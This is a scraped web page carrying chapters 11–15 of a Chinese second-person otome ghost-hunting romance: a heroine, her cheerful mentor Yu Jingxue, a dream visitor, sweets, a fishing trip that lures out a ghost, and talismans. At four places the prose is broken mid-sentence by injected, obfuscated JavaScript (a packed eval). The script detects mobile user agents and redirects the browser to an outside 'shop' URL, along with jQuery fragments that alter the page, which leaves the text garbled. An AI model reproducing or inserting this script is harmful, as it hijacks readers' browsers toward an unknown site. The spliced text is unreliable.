《被鬼怪缠上以后[乙女]》 11. 甜品 说到底也想不出个所以然来,所以你决定改天问问郁惊雪。 好在那个鬼没有伤害你,做的还全是些为你好的事情,所以你也就不计较了,虽然不太理解对方为什么要把你那唯一一个可怜的合租室友赶走。 本来你的钱包就不富裕,这下更是雪上加霜,原本还能隔三差五奖励一下自己辛苦工作,如今却只能买点蔬菜回家做饭了。 你钻入暖洋洋的被窝里面,打了个哈欠以后开始睡觉,这几天天气冷,你只好买了个暖水袋放在被窝,所以刚刚进去就被一股热意包裹,昏昏欲睡。 这一觉却不太舒服。 你又开始做梦。 你梦见一个漂亮的男人。 虽说用漂亮这个词信任男的不太好,但他的确配得上这个词,甚至绰绰有余。对方一头长发,脸白唇艳,五官立体俊美,瞳珠中倒影出你的影子,有点冷。 “蠢得堪比楼下那只猫。” 不冷了,你觉得自己有点热,应该是气的。 楼下那只猫是智/障猫,当然这句话不是你说的,是楼下邻居说的,因为那猫见谁都贴,喝水也不会,得把它抱到喝水器那里才能舔到一点,后面邻居看不下去了就抱去医院检查,得出个傻子猫的结论。 你心想这是你的梦,哪来的东西敢对你指手画脚,于是大手一挥,指着对方说:“再敢靠近我担心我对你不客气……诶?” 你的脸被捏了。 “嗷嗷嗷疼疼疼。” 男人半点不留情,表情恶劣:“哦,不客气,好啊,你想怎么对我不客气?”他捏的用力,看见你的脸微微发红又突然笑了起来。 “好矮。”男人这样说着。 你看着对方185往上走的身高,选择沉默。 我靠为什么你最近遇到的男人都这么高?郁惊雪这个现实里面的也就算了,一个出现在你梦里的路人凭啥啊! 就算他俊美异常,声音磁性,身高185+,但是!凭啥啊?! 于是你又说:“谁矮了?谁?你别忘了这是在我的梦里,再对我动手动脚小心我让你灰飞烟灭。” …… 男人:“嗤……” 别以为你没有听见!你听见了!你听见了啊喂!那里来的混蛋,你要杀了这家伙。 男人:“实力要是也能和话一样狠就好了,明明是一个弱得连蚂蚁都踩不死的家伙,还需要有人在旁边陪着你捉鬼才能安心。” 你:这梦也太真实了吧。 男人点了点你的额头,:“喂,我说,离那个叫郁惊雪的男的远点,只有一只眼睛的男人最有心机了,像牛皮糖一样缠着你,不觉得恶心吗?” 老实说要是没有郁惊雪,你现在可能已经在排队领孟婆汤了,所以人不可以忘本,于是你摇摇头,说:“他是我的救命恩人。” 你这样说着,突然觉得有点困。 怎么回事?在梦里也会感觉困吗? 你懵了。 男人觉得你是个傻子,“喷”了一声后将你的眼睛蒙住,声音低沉:“实力弱的后果就是聊天都聊不了几句,烦死了……” “苏牧泽,记住了。”对方说了一句没头没脑的话:“还有离那个郁惊雪远点。” …… 早点八点,你醒了。 说好的安安稳稳睡一天,结果早上八点就起来了,你感觉到了世界对你的恶意。 而且也睡不着了。 艹。 谁还能比你倒霉。没有办法,你只能乖乖起床,然后打开卧室,发现桌上刚刚煎好的鸡蛋饼,还配了一杯牛奶。 桌上带了一个手写体纸条。 我是田螺姑娘,好好相处:) 你回忆了一下,自己好像并没有乱捡东西回家吧?所以是哪里来的田螺姑娘? 当你傻子呢?你怎么可能会相信这种东西。 …… 你咬了一口。 嗯,很好吃。 谢谢天降田螺姑娘。 这个世界脸鬼都有,多个田螺姑娘怎么了?这不是很正常的吗! 于是你吃饱以后又回床上玩游戏玩了个爽。 这才是真正的周末人生。 确实没什么事。 也没有食材导致你生病昏迷,反正非常安全。中午又睡觉睡到傍晚,然后才慢悠悠出门。 夜晚的街道尤其寒冷,你前往附近的大型超市,打算买点速食。夜晚的食品打折,特别是熟食区那边,你去买了点蛋糕和爱吃的熟食,打算作为今天晚上的夜宵。 速食区大多都是饺子汤圆还有一些乱七八糟的手抓饼牛排,你选了几样自己想吃的丢进去,路过饮料区的时候,你看见了一瓶漂亮瓶子装着的花味,果味饮料。 这么多口味的啊? 你有点好奇,于是挑了个自己最想喝的拿走了。 等到将所有想要的东西买齐,外面天都黑了,该说不说不愧是冬天吗?黑的格外早,你呼出一口气,雪白的烟雾缭绕。 好冷。 应该把自己压箱底的围巾找出来的,实在是太冷了。 你提着一堆东西,慢慢悠悠回家。 周围非常安静,你垂下睫毛,路灯忽明忽暗。 今天还真是安静啊。 你这样想着。 “啪嗒,啪嗒……” 你听见后面传来了声响,很奇怪的声音,不像是有人走路倒像一块肉掉落到了地上,就这样反反复复捡起掉落。 出于好奇,你转过了头。然后看见了这一生应该都不会忘记的场面。 那是一个只有半截身子的人,身体从腰部斩断,露出血红色的大肠,身体的器官在地面拖行,留下一条蜿蜒绵长的血迹。那张脸也不干净,脑袋被压扁了一半,脑浆顺着脸颊滴落,红白相间。 他在冲你笑。 你手心一片冰冷,郁惊雪给你的刀刃并没有带出来,身上空无一物,面对这种东西,你觉得自己就像是新手闯入了boss村。 你要完了。 脑海中只有这一个念头。 虽然这怪物只有半截身子,但他的移动速度却极快,加之你又提了东西,自然是跑不过对方,不消片刻,这东西就已经到了你的脚边。 在他的手即将拉住你的脚腕时,你从塑料袋里摸出了一瓶饮料,往他重重砸去。 鬼怪是感受不到疼的,所以这种东西对他来说只是挠痒痒。 鬼怪朝你笑了一下,他的牙齿也是血淋淋的一片。 “别怕。” 有人拉住了你,淡淡的花香袭来,你愣了几秒,突然一股暖意席卷了你。 你撞入一片柔软馨香。 数不胜数的剑刃刺入鬼怪身上,一股浓郁的,带着腐臭的味道弥漫在空气中,你有点发呕,好不容易才控制住。 “好了可以从我怀里出来了。”少女轻快的声音响起,你从她的怀里出来,看见了一张明媚的脸,眉眼弯弯,很是可爱——如果忽略对方手里的长剑。 “普通人看见这种东西会害怕很正常啦,没关系有我在……哇啊?!不是普通人诶!”少女贴近你,睁着一双眼睛,可爱得很:“是刚刚入门的新人诶,好可爱。” “虽然还不能对付等级高的鬼怪,但是也很厉害。” 你:“嗯……谢谢。” 有点不太能应付这样活泼的女孩子。 虽然对方生的特别可爱。 “你好,我是萧桃,没想到在这里也可以遇到和我一样职业的人。” 其实你还没有能力大到把这种东西当成职业。 而且刚刚萧桃的实力,一看就知道对方不是入门级。 萧桃继续:“那个呀,是因为车祸死掉的人哦,因为在这里困了很久了,所以害死了很多人,于是有人让我来解决掉。” “现在我们所处的地方是一个幻境,你只需要抓住我的手就可以了。”萧桃把手伸起来,示意你握住,于是你也很听话地放上去,对方朝你笑。开始往一个方向走。 你感受到周围的空气开始扭曲,路灯地面像是油画一样融化。渐渐的,有人的声音开始出现,钻入你的耳朵,很吵,融化的地面开始变成刺眼的光,让你睁不开眼,你忍不住闭上眼睛,再次睁眼,发现自己正处于一个小巷子里。 外面正是闹市。 无数行人来来往往,好在来来往往的人们并没有在意你们这边的动静。 你觉得好神奇。 萧桃说:“好了,已经回到现实了。” 你:“这里好眼熟。” 萧桃:“当然啦,这就是你刚刚出来的那个超市啊。” ??? 也就是说你走了这么久,还是在超市门口是吗?不能吧?不能吧? 你打开手机,发现已经过了三个小时了,也就是说三个小时过去,你还在超市门口徘徊。 这不就是说你浪费了三个小时玩游戏的时间吗? 你有点想哭了。 萧桃:“为了确保你的安全还是让我送你回家吧。” 你觉得这个套路有点熟悉。 萧桃:“毕竟女孩子一个人很危险的。” 哦哦原来郁惊雪也是这样说的。 你说:“可是你也是女孩子呀。” 萧桃把自己的袖口撩起来,露出自己的肌肉:“完全没有关系。”然后朝你眨了一下眼睛。 你看了看对方软萌可爱的脸,有看了看她结实的肌肉,陷入了沉思。 不是!?这两种东西竟然是可以互存的吗? 实力又强大脸又好看,上天究竟给她关了哪扇窗? 不过你还是拒绝了。 因为你对她不熟悉,虽然救了你,但是还是有点害怕。 萧桃看上去有点不放心,不过还是答应了,像只可怜兮兮的小狗一样盯着你:“那我们加个好友吧,毕竟你身上缠绕着一种不详的气息,所以看着是那种经常被鬼怪缠身的类型。” 这样说着,对方递给了你一枚护身符,这枚护身符很可爱,粉粉嫩嫩的,上面绣着桃花,带点香气,一看就知道是女孩子的杰作。 然后你加上了对方的好友,萧桃的头像是一颗桃子。 萧桃回和你招了招手,然后离开了。 你提了一大堆东西回家,到家以后,房间依旧亮着灯,有点温暖。 就好像一直都有一个人在家等着你。 其实刚刚一个人来到出租屋的时候,还是会有点害怕的。乱七八糟的恐惧总是能占据你的心,但是现在回家看见亮灯的客厅竟有一丝安心。 你去卫生间洗了个澡,开了暖气的沐浴间很舒服,洗得你都不想出来了,但为了节约水费,还是忍着寒意穿上了睡衣。 你将袋子里面的食物挨个整理出来,一点点放入冰箱,然后拿出买的熟食吃了起来。吃着吃着有点噎人,于是你想起来自己买了饮料,在袋子里面摸了半天,终于摸到了你的饮料。 拿起来一看,发现是美貌包装下的花果酒。 虽然度数很低,但也是酒。 你沉默了。 再也不要以貌取物了。 你怎么都没有想到这东西竟然是酒,而且做的这么少女心。 但是他看起来真的很好喝诶,你有点心动。 那么就喝一点点吧。 你这样想着,将易拉罐拉开,花果味的酒进入你的口中,带点微微的苦,但很淡,淡的可以忽略不计。 很好喝。 就是喝了有点头晕。 你将最后一点熟食吃完,然后将酒喝掉,这酒度数虽然很低,但也是很大一罐,所以等你喝完的时候,头已经开始发昏了,最后你将东西丢进垃圾桶,打了个哈欠爬上床了。 这是你睡的最好的一觉,因为喝了酒所以睡得格外香,也没有乱七八糟的梦,加上萧桃送的护身符被你放在了床头,点点馨香在你鼻尖缭绕。 再次醒来,已经是中午时刻了,你是被一阵电话铃声吵醒的。 你揉了揉有些发昏的头,将手机拿过来一看,发现一个熟悉的号码。 是郁惊雪。 你接了起来。 郁惊雪欢快的声音响起:“你醒了吗?对了对了,今天开始要训练了哦,昨天休息了一天了吧,所以今天要好好努力哦。” 很有活力的声音,完全没有大学生那样死气沉沉的模样,你想了一下自己大学的样子,开始思考。 为什么这家伙这么活跃啊?因为是周末吗?可是你的大学周末好像并不是这样度过的。 郁惊雪好像永远活泼,就算你骂了他,他也不会生气,反而会黏黏糊糊缠上来,像猫一样对你呼噜呼噜。 靠?! 你在干嘛? 猫塑别人吗? 突然有点羞耻了。 郁惊雪:“怎么不说话呢?难道是还没有睡醒吗?虽然说周末这样很正常啦,但是今天不可以啦。” 你说:“没有。我已经醒了。” 郁惊雪:“虽然话是这样说的,但是你的声音听起来沉沉的,明显刚刚醒嘛。” “不过没有关系哦,我在楼下等你,快来快来呀,今天你要和我度过一天,一定会非常快乐的。” ……!?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164256|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么啊? 这家伙在你的楼下。 你快速将衣服收拾好,然后洗漱完坐电梯。再去找郁惊雪,到了楼下,果然看见了正在撸猫的郁惊雪。 他正在摸楼下邻居的猫,那猫有点傻,看着郁惊雪就朝他软乎乎地叫,头一直朝郁惊雪手心钻,像狗一样。 而且一边钻一边发出呼噜呼噜的声音,看得旁边的主人发出羡慕的声音。 邻居小姐姐说:“这孩子从来没有这么黏我呢……还是第一次看见它这样黏着别人。” 郁惊雪看见你的身影,忙朝你招手,声音很大:“这里呀这里,我看见你了。” 谢谢,你也看见他了。不过请不要这么大声好嘛,小区的大爷大妈都看见了啊喂! 果不其然,小区的大爷大妈看见郁惊雪和你,有几个认识你的还问你:“小姑娘,这是你男朋友吗?” 你脸红了,随即反应过来连忙摇摇手,说:“不是啦,只是朋友,只是朋友啦。” 郁惊雪:“嗯嗯是朋友哦。”然后他朝你走了过来,刚刚那只猫怎么贴他的,他就怎么贴你,长手长脚地将你抱住。 …… 你说:“喂!不要做这么让人误会的事情啊。” 周围大爷大娘的眼神都不对劲了。 郁惊雪声音闷闷的:“我好累啊,在这里等了你好久,你怎么才来。” 怎么越说越让人误会了啊? 你忍无可忍,最后把郁惊雪拉走了,要是再不拉走,你的名誉怕是在今天就会消失得干干净净。 郁惊雪倒也听话,被你乖乖拉着也不反抗,直到走出小区,他才说:“你饿了吗?” 你:“啊?” 好像不明白为什么他要问这句话。 然后郁惊雪递给你一个面包,那面包,包装你认识,是附近一家很贵的品牌,但是品控很好,味道也是一等一地好,所以买他的人格外多,哪怕是工作日也是一大堆人。 你有点感动,没想到郁惊雪会为你排队买这个。 你说:“辛苦了,排队时间很久吧?” 你咬了一口。 面包很好吃,表面撒了一层雪白的糖霜。奶油不腻,里面夹杂着水果, 郁惊雪回答漫不经心:“啊,并没有啊,那家店我又vip来着,因为vip也不贵,何必因为这点钱排队呢?” 他这样说着。 那家店的vip? 你突然不说话了。 那家店的vip都可以抵你好几个月的工资了吧!?这家伙原来还是有钱人家的大少爷吗? 不对不对,这边这个大学的房租好像也不便宜,所以…… 你问:“那个,可以问一个冒昧的问题吗?你房租多少钱来着?” 郁惊雪用一直不解的眼光看你,随即慢悠悠地说:“没有租房,我是买的,因为租房的时候要搬家,很麻烦的,所以还是直接买房子方便。” 靠! 竟然真的是有钱人家的大少爷。 你羡慕了。 这个世界多你一个有钱人会怎么样? 你流泪了。 郁惊雪:“不过你问这个?是想去我家看看吗?可以的哦,等会就去我家玩吧。我家还有一条狗,你可以摸摸它,只是它脾气有点犟,让人非常头疼。” 这个你倒是知道,郁惊雪家里有一只柴犬,被他喂的油光水滑,格外可爱。 你说:“不用了,我明天还要上班。” 郁惊雪想起来你是个社畜,倒也没有要求了。 郁惊雪:“不过那是明天的事情了,现在先做其他的吧。” 你愣了几秒。 随即被对方牵起手,郁惊雪冲你笑:“现在,我们先去商业街吧。” 等等,对方不是说带你去领悟捉鬼的方法吗? 郁惊雪:“捉鬼那种事情等会再说,现在还有更加重要的事情,这件事情关乎我的生死存亡,是非常非常重要,你记得一定要好好对待。” 你肃然起敬,于是连忙握住对方的手,神色认真,一副随时待命的模样:“我一点会好好对待的!” 十分钟以后。 你看着眼前一大堆的甜品,再看看对方一脸兴奋是郁惊雪,满脸不可思议:“这就是你说的非常重要的事情吗?” 吃甜品?!真的假的?虽然这家店的甜品的确很好吃,你一直都想再次来吃,但是由于价格昂贵,所以一直没有考虑。 特别是郁惊雪给你点的这一盘小蛋糕,看起来好好吃哦。 郁惊雪:“甜品,这是一种可以让人心灵感到愉悦的事物,如果你伤心的话多吃点这种东西,你就会开心。” 你:“道理我都懂,所以你伤心了吗?什么时候的事情?不对不对,为什么要来吃甜品,这个才是重点吧!” 这家伙真的非常不靠谱啊!怎么会有这种人啊。 “喂!”你继续说着“难道你浪费我的周末,就是为了……” “唔……” 你的嘴巴被对方突然塞进来的甜品堵住了,你嚼了嚼,甜腻的奶油在嘴里化开,该说不说不愧是出名的品牌吗?就是好吃。 郁惊雪用一种安心啦的眼光看你:“安心啦,先吃完再说吧,在吃东西的时候说捉鬼相关事项是很奇怪的哦。” 你“哼”了一声,想着来都来了,于是只好吃起来了。没一会儿,你就真香了。 原因无他,因为这个甜品真的很好吃,只是吃多了容易有点发腻,所以郁惊雪又给你点了一杯果茶,正好缓解了嘴里的甜。 郁惊雪:“很好吃吧?说起来,上次在你朋友圈看见的时候,我就很想来吃了,这次终于可以尝尝了。” 啊?竟然是在你朋友圈看见的吗? 你有点震惊。 郁惊雪对你继续说:“当时看见的时候就非常好奇啦,到底是什么样的甜品可以让你发这么长的话,没想到竟然真的很好吃啊,所以一直等到你的周末才能约你出来吃。” 你说:“没想到你也是一个会看朋友圈的类型。” 郁惊雪:“嗯?” 你说:“因为感觉你是一种不怎么看朋友圈的人,也不会点赞之类的。毕竟你的朋友圈空空荡荡的嘛。” 郁惊雪:“其实说的也没错啦,我的确不太喜欢看朋友圈和发朋友圈,不过偶尔的时候,也是翻一下啦,虽然这种时候特别少。” 毕竟对郁惊雪来说,朋友圈这种东西就像是一个摆设。 郁惊雪:“但是因为你是我徒弟,所以我就想了解一下你的生活呀。” 你的心漏了一拍。 12. 牵手 突然说这种暧昧的话。 你低头将叉子插进蛋糕里面,香甜的奶油入口,并没有回复对方这句话。 因为郁惊雪目前给你透露的印象就是一只黏黏糊糊的社牛小猫,对谁都这样。 才不会对这种小孩心动。 郁惊雪将自己点的蛋糕全部吃完了,甚至产生了一种想要在这家店办vip的冲动,最后迎着店长兴奋的目光成功拿下一张vip。 该说不愧是他吗? 店长看他长的好看还额外赠送了几块甜点。 郁惊雪分了你一半,边走边吃,你实在不能理解这人为什么吃了这么多甜点竟然还可以咽下额外赠送的食物。 “因为那些东西也不多吧。”郁惊雪是这样和你解释的:“虽然看起来很多,但是吃进肚子里也感觉不到太大的饱意。” 恐怖如斯。 “不过吃了太多的甜品好想尝尝辣的东西中和一下哦。”郁惊雪说:“不知道附近有没有……” 你:“晚上再吃啦!吃这么多高热量食物对身体会不好吧。” 郁惊雪想了一下,最后还是答应了。 “说起来。”你捏紧对方递给你的甜品袋子,有点好奇的声音响起:“你叫我出来不是为了训练吗?为什么我们一直在这里瞎逛?” 郁惊雪“啊”了一声,随即说:“原来你是这么喜欢训练的性格吗?” 什么啊。 你说:“明明是你说今天要训练我才出来的,我怎么可能喜欢训练啊,就连学校八百米我都会反感的。” 没有人会喜欢运动。 郁惊雪:“八百米啊……”他若有所思。 你好奇:“怎么了?” 郁惊雪回答:“啊,没什么,只是想到我八百米不及格的事情。” 不应该啊,郁惊雪这个肌肉量和体质一看就不像是会不及格的人啊。 郁惊雪:“毕竟晚上熬夜打游戏到四点,第二天九点就要去体测,因为实在太困所以接下来的路程都是走完的。” 完全没有想到的答案。 你说:“一点也不健康啊,没想到做为治疗系的你会有这种坏习惯。” 郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164257|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊雪理直气壮:“就是因为是治疗系,所以才会这样肆无忌惮呀,熬坏了身体就可以用治疗把自己身体恢复到最完美的状态,这样的异能不用简直是浪费。” 异能是这样用的吗? 你震惊了。 郁惊雪:“但是呢,如果是你的话,还是不要这样做了。” 你当然不会这样啊,而且你也没有治愈的异能。 郁惊雪拉起你的手,对你说:“走吧,带你去一个地方。” 啊…… 好热。 你原本还有些冰凉的手在被对方牵住的一瞬间,暖意瞬间席卷,郁惊雪那双温暖的,甚至发烫的掌心温度,就这样传递到了你的身上。 这家伙身上真的好温暖。 你睁大眼睛,想: 男生身上的温度都这么高吗? 这还是第一次有男生这样主动牵你的手。 郁惊雪:“怎么一牵你的手你就呆住啊,难道是嫌弃我的手太热了吗?” 才不会。 你说:“只是没有想到,你的手心这么热。” 13. 标题 郁惊雪:“那我就勉为其难让你多牵一会儿就好了。” 话是这么说的,但是不愿意放手的人完全不是你。 这家伙原来还有傲娇属性吗? 天色临近傍晚,天边一片血红,郁惊雪拉着你的手到河边。 这里非常荒凉,你不知道对方是怎么找到这种地方的,离城里有一点距离,走到此处的时候你已经有点累了,所以小声喘息着。 郁惊雪看了你好几眼,最后得出个结论:“你身体好差,以后晚上我监督你跑步吧。毕竟我不想收获一个遭遇厉鬼但是跑不过对方的徒弟。” 你:“八百米不及格的人没资格说我吧!” 郁惊雪:“因为那种课程不重要嘛,反正也不会算入最终成绩什么的。” 他看起来是真的毫不在意的模样,天边金黄色的光辉撒在他的脸上,镀上一层光辉。 你说:“还真是随意啊。” “但是,我很好奇你约我来这种地方就是为了散步吗?明天还要上班呢,我的时间是非常宝贵的。”你这样说着。 郁惊雪大惊:“我怎么会是这样无聊的人啊?约你来这里散步。”在对方认真的眼神中,你听见他说: “其实是约你来钓鱼。” mdzz。 你狠狠掐了一把他的胳膊,然后顺理成章收获了对方咋咋呼呼的尖叫: “疼疼疼,你不再是我的爱徒了嘤嘤嘤。” 嘤嘤嘤是什么鬼啊? 你松开郁惊雪,然后说:“你好烦,我才不会和你一起钓鱼。” 你转身想要回去。 结果被长手长脚的郁惊雪抱住了。 郁惊雪:“你以为你上了贼船还能下去吗?” “不要用那种反派的语气说话啊!!你没发现周围的大叔们都在看着我们吗?而且你哪来的鱼竿啊?” 郁惊雪指了指地上的鱼竿,还有两根凳子,一脸认真:“那个就是啊。” 你吐槽:“早就计划好了吧你这个混蛋!” 虽然还是和郁惊雪一起钓鱼了。 你对钓鱼这玩意没什么兴趣,所以就在一边看着郁惊雪钓,然后说: “你很喜欢钓鱼吗?” 郁惊雪看着平静的水面,百无聊赖,回复你说:“还好吧。” 你:“难道是猫的本能吗?喜欢鱼?” 郁惊雪疑惑:“什么猫?” 你冷漠:“不,没什么。” 郁惊雪钓了一会儿就没兴趣了,然后兴致颇高地朝你身上蹭,一边蹭一边说:“好无聊啊好无聊啊,要不然你来钓吧。” 完全是肯定句,根本没有询问你的意思。 你:“不要。” 郁惊雪:“是不会吗?那我来教你吧!超级简单的诶,而且我太厉害了钓不起来什么大家伙啦。”对方摊开手装作一副无奈的模样。 你不明所以:“什么叫你太厉害了钓不起来啦,那种网络上说的新手保护期你难道是真的相信吗?还是在说说我弱啊?” 郁惊雪:“你都撞鬼了为什么不相信……唔唔唔?!” 为了避免对方说出更多炸裂的东西,你提前捂住了他的嘴巴,小声凑到他耳边:“我都说了周围的人在看着我们啊!而且再这样下去他们会把我们当成神经病的吧。” 郁惊雪委屈巴巴:“就算说了别人也只会把我们当成中二病啊。” 这才是尴尬的源头啊,这家伙完全不在意别人的眼光吗? 你拿过钓鱼竿:“总之,接下来给我安静点。” “哦……”郁惊雪坐你旁边看你钓鱼,然后不知道从哪里摸出两根棒棒糖,先给你塞了一根,然后自己又慢吞吞拆开包装吃着。 是你最喜欢的口味。 甜丝丝的味道在嘴里化开。让你心情好了一点。 不知道郁惊雪到底是从哪里搞来的这么多零食,每次都像哆啦x梦一样从口袋里拿出一堆东西,然后往你手里塞,你手里如果拿不下他就会拆开包装往你嘴里放。 天开始慢慢黑了下来,周围的钓鱼佬慢慢回家,郁惊雪还没有回家的意思,你看着没有钓起来鱼的鱼钩,忍不住打了个哈欠。 你说:“你是空军体质吗?” 郁惊雪:“只是时间还没有到而已,等一会就来了。” 你觉得对方在嘴硬,而且这河边怪冷的,但郁惊雪似乎察觉到了,还把自己的外套脱下来披到了你的身上。 也不知道过了多久,天空月亮高悬,你揉了揉有点发困的眼睛,恍惚之中,好像看见了对面河岸出现了一个红衣女人。 你被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164258|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得打了个寒颤,随即揉了揉眼睛,红衣女人的身影又不见了。 幻,幻觉吗? 你抿了抿唇,心底涌起一股不好的预感。 “不是幻觉。” 郁惊雪笑着说:“出现了啊。” 他盯着河面,那里飘了一条死鱼,明明是死物,但却像活着一样往你们这边凑近。 难闻的鱼腥气在鼻尖循环。 “啪嗒” 你听见水面有声音响起,鱼竿开始抖动,郁惊雪笑了一下,然后握住你的手,说:“我就说吧,新手保护期。” 什么啊? 你有一种不好的预感。 郁惊雪:“虽然在这里蹲守了两天,但是如果对方不愿意从水底出来的话,也是会非常烦躁的,不过有你在的话,对方就不会躲躲藏藏了。” 在这句话结束的瞬间,周围开始刮起了大风,郁惊雪将开始回收鱼线,说来奇怪,明明鱼竿晃动剧烈,但郁惊雪拿着好像非常轻松的模样。 郁惊雪:“往我后面……”他话还没有说完,就看见你已经躲他背后揪着他的毛衣了。 是个非常自觉的徒弟。 郁惊雪又笑了,然后他说:“不用害怕,这种级别的鬼怪,我很轻松就可以制服的。” 他用力将鱼线提起,下一秒,一只毛茸茸的头颅掉落到了地上,将周围的草坪打湿。 你忍不住开始干呕。 郁惊雪面无表情,看着那颗头颅朝你们这边滚过来,密密麻麻的黑色发丝如同活物一般像你们的方向缠来,一双带着红血色的眼睛直勾勾地盯着你们。 你扯住毛衣的手更加用力了。 郁惊雪不慌不忙地拿出一张符纸,往头颅的方向抛去,在符纸粘粘到头发的瞬间,一阵火光炸气,黑色发丝如同枯枝败叶遇火焚烧,空气中弥漫出一股恶心的,像是肉类腐坏的恶臭。 “啊啊啊啊啊啊啊啊!”头颅开始发出痛苦的尖叫,一边叫一边妄图往你们这边爬,不过火焰烧的太快,所以她还没有爬到你们的身边,就已经慢慢失去了“生机。” 不动了。 你愣住了。 随即,你发现这颗头颅如同夏日冰柜中拿出的雪糕,开始渐渐融化,脸上的血肉渐渐化为血水,原本还有肉的头颅变成了一颗头骨。 14. 符纸 消,消失了? 你不可思议地看着那颗头骨,颇有几分不敢置信。 郁惊雪拿出湿纸巾擦了擦手,然后呼了口气,又恢复嬉皮笑脸的模样:“芜湖!解决了。” 你:“解决?” 郁惊雪:“是啊,几天前有人委托我来解决这边的灵异事件,但是如果阳气太足了鬼怪就不会出现了,所以我想到了你。” 你:“我?” 郁惊雪:“因为你最近有点倒霉嘛,可以中和一下,这样鬼怪就会产生幻觉,然后就出现了。” 你:“什么幻觉?” 郁惊雪简单直接:“我们都是垃圾的幻觉。” 停停停。 怎么还上升到人身攻击了。 你:“你这样说话……” 郁惊雪:“报酬分你三分之二。” 你:“就算是这样我也不会原谅你的,你浪费了我的休息时间。” 郁惊雪说了一个数字,比你一年的工资高多了,你沉默半响,改口说:“下次有这种事情还叫我。” 郁惊雪比了个ok手势。 于是郁惊雪打了个报警电话,你们等了一会儿,直到警察来到这里郁惊雪解释了发生的一切。 总之就是钓鱼佬钓鱼途中不小心钓起来头骨,然后被吓一跳的剧本。 郁惊雪又开始了他的表演欲:“总之被吓了一跳呢。” 他握住你的手,装作非常害怕的模样。 一阵忙碌以后,事情结束也差不多快十一点了,最后走在马路上郁惊雪伸了个懒腰。 你说:“有点困了。” 郁惊雪看着你:“啊,已经困了吗?” 毕竟对郁惊雪来说,平时这个时候还是他的游戏时间。 你:“有一点吧。” 因为明天你还要上班。 你将外套取下来,想要将他还给郁惊雪,结果对方并没有接过来,反而说了一句:“穿着吧,夜里冷。” 你:“那你呢?” 郁惊雪现在只穿了一件毛衣加贴身衣物,薄薄的两件,不会冷吗? 郁惊雪握住你的手,语气轻快:“你觉得呢?” 好温暖。 你想:这家伙怎么穿这么少,身上还是这么温暖。 郁惊雪:“其实现在也不算冷吧,对我来说是可以承受的范围。” 这样说着,他接过衣服重新披到你的身上,替你扣上外套最上面的扣子,接着身高揉了揉你的头发:“所以你还是穿着吧,以后挑个时间还给我就好啦!” 你说了一句“谢谢。” 青年明媚的,夺目的笑容在你眼底浮现。 郁惊雪转移了话题:“说起来,今天我丢符纸的时候,你有没有学会什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164259|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你:“啊?” 该学会什么吗? 你有点迷惑:“嗯?大概是丢符纸的速度很快……啊呜?!” 被人敲了一下额头,郁惊雪无奈的,却莫名带点宠溺的眼神,他就这样弯着腰,声音在你耳边响起:“只是这样吗?” “没有我的身影非常帅气,让你心动不已,钟情……嗷!” 你趁着对方弯腰捏他的脸颊,微微用力了:“不要自卖自夸啊!” 郁惊雪委屈巴巴:“好吧,不逗你了。” 他收起那副吊儿郎当的表情:“真的什么都没有发现吗?” 其实还是有发现一点的。 你说:“感觉符纸变了。” 感觉那张符纸上面的图案多了一点。你说:“图案好像,变了一点。” 郁惊雪打了个响指:“没错没错!” 郁惊雪重新拿了一张符纸,将符纸摊平,然后让你仔细观察:“你看这张符纸,记住他的图案。” 你认真看着,下一秒,符纸发出微弱的光,郁惊雪捏住符纸,再次摊开掌心,里面的图案已经悄然变化。 就像魔术一样。 你觉得不可思议。 郁惊雪:“刚刚那张是低阶符纸,但是由我注入灵力,就可以将它变成中阶。不过你现在好像还不太会使用灵力,下次的时候,我教你吧。” 15. 女鬼 下次…… 你问:“下次是什么时候。” 郁惊雪:“下个星期吧,这两天有事情。” 你移开视线:“明拒了。” 郁惊雪:“很简单的,拒绝无效。” 你:“有多简单?” 郁惊雪思考了几秒,然后回答:“我当时学这个的时候,只用了几分钟就学会了。” 你有点心动:“真的假的?真的有这么简单吗?” 